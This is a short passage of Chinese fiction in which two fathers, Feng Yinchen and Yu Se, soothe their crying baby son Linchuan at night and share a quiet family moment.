枫音尘瞧着儿子的一只小手紧紧抓住郁瑟的衣襟还不行,五根小手指捏捏捏的,还要来抓他的。 枫音尘主动将自己的睡衣衣领塞进儿子的小手,也亲了口小脸蛋道。 “爸爸也在这儿呢,川川。” 枫临川像是感受到了双亲的爱意,哭声渐渐停歇,只是抽噎着,小脸蛋上挂着泪珠,眼神却在两个父亲之间来回游移。 枫音尘与郁瑟对视一眼。 尽管这个夜晚没有按照他们原本的计划进行,但能一起见证儿子人生路上的第一次的呼喊。 在这个小小的房间里,一家三口紧紧相依,这大概就是人间最幸福的所在了吧。